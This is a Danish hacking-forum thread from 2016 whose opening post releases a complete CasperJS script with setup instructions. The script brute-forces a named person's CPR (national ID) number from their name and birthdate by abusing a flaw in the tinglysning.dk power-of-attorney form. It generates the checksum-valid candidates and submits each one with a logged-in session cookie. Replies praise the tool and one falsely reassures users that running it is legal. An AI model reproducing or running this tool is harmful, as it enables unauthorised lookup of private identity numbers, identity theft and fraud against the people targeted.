04-09-2016, 11:20
(Denne besked var sidst ændret: 04-09-2016, 11:22 af Cronick.)
|
|
Cronick
ด็็้้้้้็็็็็้้้้้็็็็็้้้้้༼◉Д◉༽ด็็็็็้้้้้็็็็้้้้้็็็็็้้
|
Indlæg: 1.495
Registreret: Feb 2013
Omdømme:
80
|
|
Tinglysning - Find CPR på folk ud fra navn og fødselsdag
NOTE: Det er efter dansk lovgivning strengt forbudt at slå andres CPR numre op og benytte sig af dette
Generelt
Dette "udnytter" en gammel fejl på tinglysning.dk, hvor at man ved hjælp af brute force kan skaffe sig et CPR-nummer på en vilkår person, ved hjælp fra deres fulde navn og fødselsdag.
Lavede programmet i en test, da fejlen har været omdiskuteret tidligere, og så ville jeg bare gerne automatiserer det for sjov skyld.
Der er sikkert nogle ting ved programmet som kan gøre bedre, men programmet virker og så kan det være at jeg måske laver en forbedret version.
Opsætning
Har prøvet så vidt muligt at få opsætningen til at være så smertefri som muligt. Som man kan se i toppen, så skal man udfylde 2 informationer fra tinglysning.dk (Kræver man logger ind med NemID på siden, ellers så virker dette ikke).
Samt så skal man udfylde fulde navn, køn og fødselsdag på den person man gerne ville finde CPR-nummeret på.
Find de nødvendige informationer fra Tinglysning.dk
1. Login med NemID på tinglysning.dk
2. Tryk på "Opret digital fuldmagt" i menuen i toppen.
3. Tryk på "Tingbogen"
4. Kopier linket på den side du er på, og skulle gerne ligne det link som også er angivet som eksempel i programmet.
(https://www.tinglysning.dk/tinglysning/f...-XXXXXXXXX)
Efter dette så skal vi have fundet en måde at fremskaffe værdien fra cookien "TDK_JSESSIONID" på Tinglysning.dk
For mit eget vedkommende bruger jeg Chrome og har installeret EditThisCookie, så det er bare tryk på ikonet og så får jeg de informationer jeg skal bruge.
Eller så kan man skrive chrome://settings/cookies som url i chrome, og så søge på Tinglysning.dk og så skulle det gerne komme frem
https://vgy.me/Qj7F2e.png
Installer de nødvendige ting til at køre programmet
Programmet er lavet i noget der hedder CasperJS, som kræver PhantomJS og Python for at kunne køre det.
Det burde være rimelig simpelt for folk at installerer det - http://docs.casperjs.org/en/latest/insta...on-windows
Tilføj Path på PhantomJS og CasperJS som også er forklaret på linket.
Og så bare skriv casperjs <filenavn> og så burde programmet kører.
Kode
// ******************** INDSTILLINGER START ******************** //
// Indsæt URL fra browser
// Eksempelvis: https://www.tinglysning.dk /tinglysning/fuldmagt/opretfuldmagt.xhtml?_abPfm=-v7jsugjo5
var url = '';
// Indsæt cookie værdi (TDK_JSESSIONID)
// Eksempelvis: asdasAZC9KkKYcdYsUVhBac15Lsyjdfp5dvYkJn957bbmNqnJk5!-300513349!-310799201
var TDK_JSESSIONID = '';
var person = {
fullName: '', // Eksempel: Lars Larsen
gender: '', // Eksempel: male
birthDay: '', // Eksempel: 24
birthMonth: '', // Eksempel: 12
birthYear: '' // Eksempel: 1989
}
// ******************** INDSTILLINGER SLUT ******************** //
var casper = require('casper').create({
pageSettings: {
loadImages: false, // The WebPage instance used by Casper will
loadPlugins: false, // use these settings
userAgent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A"
},
logLevel: "debug", // Only "info" level messages will be logged
verbose: false // log messages will be printed out to the console
});
var utils = require('utils');
var f = utils.format;
casper.checkStep = function checkStep(self, onComplete) {
if (self.pendingWait || self.loadInProgress) {
return;
}
self.current = self.step;
var step = self.steps[self.step++];
if (utils.isFunction(step)) {
self.runStep(step);
step.executed = true;
} else {
self.result.time = new Date().getTime() - self.startTime;
self.log(f("Done %s steps in %dms", self.steps.length, self.result.time), "info");
clearInterval(self.checker);
self.emit('run.complete');
if (utils.isFunction(onComplete)) {
try {
onComplete.call(self, self);
} catch (err) {
self.log("Could not complete final step: " + err, "error");
}
} else {
self.exit();
}
}
};
casper.then = function then(step) {
if (!this.started) {
throw new CasperError("Casper not started; please use Casper#start");
}
if (!utils.isFunction(step)) {
throw new CasperError("You can only define a step as a function");
}
if (this.checker === null) {
step.level = 0;
this.steps.push(step);
step.executed = false;
this.emit('step.added', step);
} else {
if( !this.steps[this.current].executed ) {
try {
step.level = this.steps[this.current].level + 1;
} catch (e) {
step.level = 0;
}
var insertIndex = this.step;
while (this.steps[insertIndex] && step.level === this.steps[insertIndex].level) {
insertIndex++;
}
this.steps.splice(insertIndex, 0, step);
step.executed = false;
this.emit('step.added', step);
}
}
return this;
};
casper.label = function label( labelname ) {
var step = new Function('"empty function for label: ' + labelname + ' "');
step.label = labelname;
this.then(step);
};
casper.goto = function goto( labelname ) {
for( var i=0; i<this.steps.length; i++ ){
if( this.steps[i].label == labelname ) {
this.step = i;
}
}
};
casper.dumpSteps = function dumpSteps( showSource ) {
this.echo( "=========================== Dump Navigation Steps ==============================", "RED_BAR");
if( this.current ){ this.echo( "Current step No. = " + (this.current+1) , "INFO"); }
this.echo( "Next step No. = " + (this.step+1) , "INFO");
this.echo( "steps.length = " + this.steps.length , "INFO");
this.echo( "================================================================================", "WARNING" );
for( var i=0; i<this.steps.length; i++){
var step = this.steps[i];
var msg = "Step: " + (i+1) + "/" + this.steps.length + " level: " + step.level
if( step.executed ){ msg = msg + " executed: " + step.executed }
var color = "PARAMETER";
if( step.label ){ color="INFO"; msg = msg + " label: " + step.label }
if( i == this.current ) {
this.echo( msg + " <====== Current Navigation Step.", "COMMENT");
} else {
this.echo( msg, color );
}
if( showSource ) {
this.echo( "--------------------------------------------------------------------------------" );
this.echo( this.steps[i] );
this.echo( "================================================================================", "WARNING" );
}
}
};
var cprCalc = {
// Table used for modules 11 test
CPR_MULTIPLICATION_TABLE: [4,3,2,7,6,5,4,3,2,1],
firstSixDigits: function(year, month, day) {
// make sure year, month, day are strings
year = year.toString();
month = month.toString();
day = day.toString();
return this.padNumber(day,2) + this.padNumber(month,2) + year.substr(2);
},
possibleLastFour: function(gender, year, month, day) {
var possibleLastFour = [];
firstSixDigits = this.firstSixDigits(year, month, day);
// populate last four with all that matches gender
// pad number with zeroes if necessary so that it is 4 chars
for(i=0; i <= 9999; i++) {
if (this.numberMatchesGender(i, gender)) possibleLastFour.push(this.padNumber(i, 4));
}
for(j=0; j < possibleLastFour.length; j++) {
var entireCpr = firstSixDigits+possibleLastFour[j];
// check for exclusion based on combination of 7th digit and year
if (this.excludedBy7thDigit(possibleLastFour[j], year)) possibleLastFour[j]=null;
// remove last four unless the entire cpr combination matches modulus 11 test
// set value to null if does not match modulus 11. we then later remove all these empty elements from the array
if (this.matchesModolus11(entireCpr)==false) { possibleLastFour[j]=null; }
}
// return array with null entries discarded
cleanedLastFour = [];
for(k=0; k < possibleLastFour.length; k++) { if(possibleLastFour[k]!=null) cleanedLastFour.push(possibleLastFour[k]) }
return cleanedLastFour;
},
// modulus 11 test (http://da.wikipedia.org/wiki/CPR-nummer#...-nummer.29)
matchesModolus11: function(cpr) {
var checkSum = 0;
for(i=0; i < 10; i++) {
currentCprDigit = parseInt(cpr.substr(i, 1));
productOfDigitWithMultiplicationNumber = currentCprDigit*this.CPR_MULTIPLICATION_TABLE[i];
checkSum = checkSum + productOfDigitWithMultiplicationNumber;
}
return (checkSum % 11 == 0);
},
// Returns true if the first digit of the last four (7th digit of entire CPR)
// is impossible based on year and the table found here: http://da.wikipedia.org/wiki/CPR-nummer#...00_.C3.A5r
// This is currently incomplete and only excludes completely for 7th digits 5-8 and years between 1937 and 1999
excludedBy7thDigit: function(lastFour, yearOfBirth) {
// first digit of last four which is the same as seventh digit of CPR
seventhDigit = lastFour.substr(0,1);
// If year is between 1900 and 1999, 5,6,7, or 8 is impossible
if(yearOfBirth<2000 && yearOfBirth>1899) {
if ((seventhDigit>=5) && (seventhDigit<=8)) return true;
}
return false;
},
// The last digit of the last four (or entire cpr no.) must be
// even for females and uneven for males
numberMatchesGender: function(number, gender) {
if((number % 2 == 1) && gender=="male") return true;
if((number % 2 == 0) && gender=="female") return true;
return false;
},
padNumber: function(n, width, z) {
z = z || '0';
n = n + '';
return n.length >= width ? n : new Array(width - n.length + 1).join(z) + n;
},
};
var colorizer = require('colorizer').create('Colorizer');
var cprList = cprCalc.possibleLastFour(person.gender, person.birthYear, person.birthMonth, person.birthDay);
var i = 0;
casper.options.viewportSize = {width: 1600, height: 950};
phantom.addCookie({
domain: 'www.tinglysning.dk',
name: 'TDK_JSESSIONID',
value: TDK_JSESSIONID
});
casper.start(url);
casper.label( "LOOP_START" );
casper.waitForSelector('.container-content');
casper.then(function() {
this.fillSelectors('.container-content', {
'input[id="content:subform:opretfuldmagt:meddelelseshaverCprnummer"]': person.birthDay+person.birthMonth+person.birthYear[2]+person.birthYear[3]+"-"+cprList[i],
'input[id="content:subform:opretfuldmagt:meddelelseshaverMatchNavn"]': person.fullName,
}, false);
this.clickLabel('Opdater', 'button');
})
casper.then(function() {
if (this.exists('li.infomessage')) {
console.log(colorizer.colorize(person.birthDay+person.birthMonth+person.birthYear[2]+person.birthYear[3]+'-'+cprList[i]+' - Forkert', 'ERROR'));
this.goto( "LOOP_START" );
i++;
} else {
console.log(colorizer.colorize(person.birthDay+person.birthMonth+person.birthYear[2]+person.birthYear[3]+'-'+cprList[i]+' - Korrekt', 'INFO'));
}
});
casper.then(function() {
casper.wait(5000);
});
casper.run();
|
|
06-09-2016, 20:37
|
|
RE: Tinglysning - Find CPR på folk ud fra navn og fødselsdag
SÅ blev det released :D Godt arbejde :)
|
|
04-11-2016, 19:46
|
|
mirato
Medlem
|
Indlæg: 74
Registreret: Sep 2016
Omdømme:
0
|
|
RE: Tinglysning - Find CPR på folk ud fra navn og fødselsdag
Er det ikke ok nøjeren at logge ind med sit eget private nemid og gøre det?
Tænker bare at det må være rimelig nemt for dem, at tjekke hvem der sidder bag computeren, når man bruger sine egne oplysninger?
|
|
04-11-2016, 21:38
|
|
CL0UDY
ヽ༼ຈل͜ຈ༽ノ
|
Indlæg: 485
Registreret: Jun 2016
Omdømme:
33
|
|
RE: Tinglysning - Find CPR på folk ud fra navn og fødselsdag
lyder spændende, tak for share :) vil lige teste det senere
---------------
☁CL0UDY☁
|
|
04-11-2016, 21:49
|
|
Tinglysning - Find CPR på folk ud fra navn og fødselsdag
(04-11-2016, 19:46)mirato Skrev: Er det ikke ok nøjeren at logge ind med sit eget private nemid og gøre det?
Tænker bare at det må være rimelig nemt for dem, at tjekke hvem der sidder bag computeren, når man bruger sine egne oplysninger?
Nææ. Det er i sig selv ikke ulovligt, og det er meningen at man skal kunne gøre det (har de selv skrevet)
|
|
|